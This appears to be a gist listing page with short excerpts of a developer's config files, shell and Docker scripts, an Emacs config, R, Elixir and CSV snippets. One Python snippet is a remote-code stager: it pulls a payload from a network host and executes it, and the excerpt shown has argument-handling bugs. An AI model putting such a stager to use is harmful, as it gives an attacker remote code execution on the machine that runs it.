This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NameVirtualHost *:80 | |
<VirtualHost *:80> | |
ServerName jenkins.gif-concretemobile.net | |
ProxyRequests Off | |
ProxyPass / http://127.0.0.1:8080/ | |
ProxyPassReverse / http://127.0.0.1:8080/ | |
<Location /> | |
Order allow,deny | |
Allow from all |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
USERDATA="/var/lib/docker/datastorage" | |
mkdir -p "$USERDATA" | |
docker run --name data -d \ | |
-v $USERDATA/postgresql:/var/lib/postgresql/data \ | |
-v $USERDATA/media:/usr/local/taiga/media \ | |
-v $USERDATA/static:/usr/local/taiga/static \ | |
-v $USERDATA/logs:/usr/local/taiga/logs \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;;; init.el --- Wesley's Emacs Config | |
;; | |
;; An Ex-VIMmer trying Emacs :-) | |
;; | |
;;; --------------------------------- | |
;; Here some packages I need | |
(setq package-list '(ssh-file-modes ssh-config-mode sass-mode salt-mode ruby-test-mode ruby-refactor ruby-end ruby-block rpm-spec-mode rainbow-identifiers rainbow-delimiters password-generator ox-twbs ox-ioslide ox-impress-js ox-gfm osx-plist org2jekyll org2blog org-webpage org-presie org-present org-magit org-bullets org-blog nasm-mode mvn-help mvn matlab-mode math-symbols markdown-mode magit-find-file lorem-ipsum kanban js3-mode js2-refactor js2-mode js2-highlight-vars jquery-doc jq-mode jekyll-modes haml-mode flycheck-css-colorguard flycheck feature-mode eruby-mode erlang ecukes dired-rainbow dired-details crontab-mode apache-mode)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## Set here the Jenkins URL to enable this slave | |
# and its secret | |
export JENKINS_URL='' | |
export SECRET='' | |
export JENKINS_IP='' | |
function test_master_conn() { | |
ping -c 4 "$JENKINS_IP" &> /dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Defina a versao desejada do Node. | |
# Testado apenas com as imagens oficiais! | |
FROM node:6.2.0 | |
MAINTAINER Wesley R. Silva <[email protected]> | |
## Adiciona um usuario para executar o node | |
RUN useradd -m node --user-group -G 100 -s /bin/bash -d /home/node | |
USER node | |
## Cria um diretorio local onde os pacotes serao instalados |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket, struct, sys | |
if len(sys.argv) != 2: sys.exit(1) | |
s = socket.socket(2, socket.SOCK_STREAM) | |
s.connect(sys.argv[1], int(sys.argv[2])) | |
l = struct.unpack('>I', s.recv(4))[0] | |
d = s.recv(l) | |
while len(d) < l: | |
d += s.recv(l-len(d)) | |
exec(d, {'s':s}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ensure_pkg <- function(pkg) { | |
pkg = toString(substitute(pkg)) | |
if (!require(pkg, character.only = TRUE)){ | |
install.packages(pkg) | |
require(pkg) | |
} | |
} | |
ensure_pkg("car") | |
ensure_pkg("lattice") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
defmodule IPCluster do | |
def get_inet(), do: elem(:inet.getif(), 1) | |
def get_ip_list([]), do: [] | |
def get_ip_list([h|t]) do | |
{ip, _bcast, mask} = h | |
[[Tuple.to_list(ip), Tuple.to_list(mask)] | get_ip_list(t)] | |
end | |
def ip_list([]), do: [] | |
def ip_list([h|t]) do | |
[Enum.at(h,0) | ip_list(t)] |
We can make this file beautiful and searchable if this error is corrected: It looks like row 10 should actually have 8 columns, instead of 2 in line 9.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
valor,crimes_per_capita,comodos,distancia_centro_comercial,acessos_a_estradas,iptu,media_alunos_por_professor,percentual_de_pobres | |
24000,0.006000000052154,6.57000017166138,4.09000015258789,1,29.6000003814697,15.3000001907349,4.98000001907349 | |
21599,0.027000000700355,6.42000007629395,4.96999979019165,2,24.2000007629395,17.7999992370605,9.14000034332275 | |
34700,0.027000000700355,7.17999982833862,4.96999979019165,2,24.2000007629395,17.7999992370605,4.03000020980835 | |
33400,0.032000001519918,7,6.05999994277954,3,22.2000007629395,18.7000007629395,2.94000005722046 | |
36199,0.068999998271465,7.15000009536743,6.05999994277954,3,22.2000007629395,18.7000007629395,5.32999992370605 | |
28701,0.029999999329448,6.42999982833862,6.05999994277954,3,22.2000007629395,18.7000007629395,5.21000003814697 | |
22900,0.087999999523163,6.01000022888184,5.55999994277954,5,31.1000003814697,15.1999998092651,12.4300003051758 | |
27100,0.144999995827675,6.17000007629395,5.94999980926514,5,31.1000003814697,15.1999998092651,19.1499996185303 | |
16500,0.210999995470 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat | R --no-save <<EOF | |
install.packages('devtools', repos='http://cran.us.r-project.org') | |
devtools::install_github('IRkernel/IRkernel') | |
EOF |